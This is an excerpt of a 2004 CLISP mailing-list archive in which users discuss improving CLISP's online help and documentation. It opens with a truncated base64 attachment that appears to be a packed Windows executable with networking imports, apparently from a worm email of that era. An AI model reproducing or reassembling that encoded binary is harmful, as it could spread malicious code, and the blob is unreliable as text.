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 AAAAAAAAAAAAAAAAAA== ------=_NextPart_000_0009_FC693A27.32C154DA-- From jcorneli@math.utexas.edu Sun Feb 08 19:23:28 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Aq21A-0008Ko-3l for clisp-list@lists.sourceforge.net; Sun, 08 Feb 2004 19:23:28 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Aq219-0006tZ-M2 for clisp-list@lists.sourceforge.net; Sun, 08 Feb 2004 19:23:27 -0800 Received: from linux184.ma.utexas.edu (mail@linux184.ma.utexas.edu [146.6.139.173]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i193NQg23054; Sun, 8 Feb 2004 21:23:26 -0600 Received: from jcorneli by linux184.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1Aq218-0000SL-00; Sun, 08 Feb 2004 21:23:26 -0600 To: clisp-list@lists.sourceforge.net X-all-your-base-are-belong-to-us: You are on the way to destruction. Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] help w/ writing documentation? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 8 19:24:10 2004 X-Original-Date: Sun, 08 Feb 2004 21:23:26 -0600 Hello, I'd like to renew my offer to help write clisp documentation -- and ask for some pointers about how to help. Joe From sds@gnu.org Sun Feb 08 20:04:15 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Aq2ec-0001K3-RA for clisp-list@lists.sourceforge.net; Sun, 08 Feb 2004 20:04:14 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1Aq2ec-000159-HZ for clisp-list@lists.sourceforge.net; Sun, 08 Feb 2004 20:04:14 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1Aq2eb-0002dY-00; Sun, 08 Feb 2004 23:04:13 -0500 To: clisp-list@lists.sourceforge.net, Joe Corneli Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Joe Corneli's message of "Sun, 08 Feb 2004 21:23:26 -0600") References: Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: help w/ writing documentation? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 8 20:05:02 2004 X-Original-Date: Sun, 08 Feb 2004 23:04:11 -0500 > * Joe Corneli [2004-02-08 21:23:26 -0600]: > > I'd like to renew my offer to help write clisp documentation -- and > ask for some pointers about how to help. all CLISP documentation is contained in the "implementation notes" and "man pages" in doc/clisp.xml.in and doc/imp*.xml*. did you look at those texts? what is inadequate? what are your suggestions? -- Sam Steingold (http://www.podval.org/~sds) running w2k Every day above ground is a good day. From jcorneli@math.utexas.edu Sun Feb 08 21:24:15 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Aq3u2-0000Cd-Vj for clisp-list@lists.sourceforge.net; Sun, 08 Feb 2004 21:24:14 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1Aq3u2-0007SQ-KU for clisp-list@lists.sourceforge.net; Sun, 08 Feb 2004 21:24:14 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i195O9g30780; Sun, 8 Feb 2004 23:24:09 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1Aq3tx-0008Pa-00; Sun, 08 Feb 2004 23:24:09 -0600 To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Sun, 08 Feb 2004 23:04:11 -0500) X-all-your-base-are-belong-to-us: You are on the way to destruction. References: Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: help w/ writing documentation? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 8 21:25:01 2004 X-Original-Date: Sun, 08 Feb 2004 23:24:09 -0600 did you look at those texts? No, didn't know they were there. (Will look for this stuff, though I installed clisp using Fink and I'm not sure where it will habe ...) what is inadequate? See above... also, more online help (such as that featured in maxima) would be swell. what are your suggestions? One might start by making the following command more informative, and proceed from there: > :h Help (abbreviated :h) = this list Use the usual editing capabilities. (quit) or (exit) leaves CLISP. As a rather trivial suggestion, I think it would be nice if the help system could be opened using (help) as well as help. At any rate, I think it would be nice to mention (describe (quote FUNCTION)) among the top-level help. Continuing with this theme, it might be nice if e.g. (describe (quote car)) told you _something_ about how to _use_ the function car. Even something as oblique as (car LIST) Return the car of LIST. If arg is nil, return nil. Error if arg is not nil and not a cons cell. -- Emacs C-h f car RET would be useful. Indeed, a lot of useful online documentation could be copied from the emacs cl packages. From pascal@informatimago.com Sun Feb 08 22:46:20 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Aq5BM-0000CS-86 for clisp-list@lists.sourceforge.net; Sun, 08 Feb 2004 22:46:12 -0800 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Aq5BL-0004ae-Au for clisp-list@lists.sourceforge.net; Sun, 08 Feb 2004 22:46:11 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 4274B586E4; Mon, 9 Feb 2004 07:45:58 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 210A73831A; Mon, 9 Feb 2004 07:47:13 +0100 (CET) Message-ID: <16423.11505.42283.239317@thalassa.informatimago.com> To: Joe Corneli Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: help w/ writing documentation? In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 8 22:47:01 2004 X-Original-Date: Mon, 9 Feb 2004 07:47:13 +0100 Joe Corneli writes: > did you look at those texts? > > No, didn't know they were there. (Will look for this stuff, though I > installed clisp using Fink and I'm not sure where it will habe ...) > > what is inadequate? > > See above... also, more online help (such as that featured in > maxima) would be swell. Indeed. (documentation (select-a-symbol-from-common-lisp) t) always return NIL. It would be nice if it returned something useful (like an extract of CLHS). Note that for user defined symbols: [18]> (defvar f "toto" "a nice variable") F [19]> (documentation 'f t) NIL [20]> (documentation 'f 'function) "doc of f" [21]> (documentation 'f 'variable) "a nice variable" [22]> I think that the definition of (documentation t (eql t)) does not prevent an implementation to return a concatenation of the documentation of all facets of that symbol. I'd expect something similar to: (documentation 'f t) --> "f is a function: doc of f f is a variable: a nice variable " > what are your suggestions? > > One might start by making the following command more informative, > and proceed from there: > > > :h > > Help (abbreviated :h) = this list > Use the usual editing capabilities. > (quit) or (exit) leaves CLISP. > > As a rather trivial suggestion, I think it would be nice if the help > system could be opened using (help) as well as help. (ext:help) > At any rate, I think it would be nice to mention > > (describe (quote FUNCTION)) > > among the top-level help. Continuing with this theme, it might be > nice if e.g. > > (describe (quote car)) > > told you _something_ about how to _use_ the function car. Even > something as oblique as > > (car LIST) > > Return the car of LIST. If arg is nil, return nil. > Error if arg is not nil and not a cons cell. > -- Emacs C-h f car RET > > would be useful. Indeed, a lot of useful online documentation could > be copied from the emacs cl packages. -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From jcorneli@math.utexas.edu Sun Feb 08 22:54:50 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Aq5Ji-0005dN-Cv for clisp-list@lists.sourceforge.net; Sun, 08 Feb 2004 22:54:50 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Aq5Ji-0006wt-0e for clisp-list@lists.sourceforge.net; Sun, 08 Feb 2004 22:54:50 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i196skg04929; Mon, 9 Feb 2004 00:54:46 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1Aq5Je-000057-00; Mon, 09 Feb 2004 00:54:46 -0600 To: pjb@informatimago.com CC: clisp-list@lists.sourceforge.net In-reply-to: <16423.11505.42283.239317@thalassa.informatimago.com> (pjb@informatimago.com) Subject: Re: [clisp-list] Re: help w/ writing documentation? X-all-your-base-are-belong-to-us: You are on the way to destruction. References: <16423.11505.42283.239317@thalassa.informatimago.com> Message-Id: From: Joe Corneli X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 HTML_40_50 BODY: Message is 40% to 50% HTML Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: 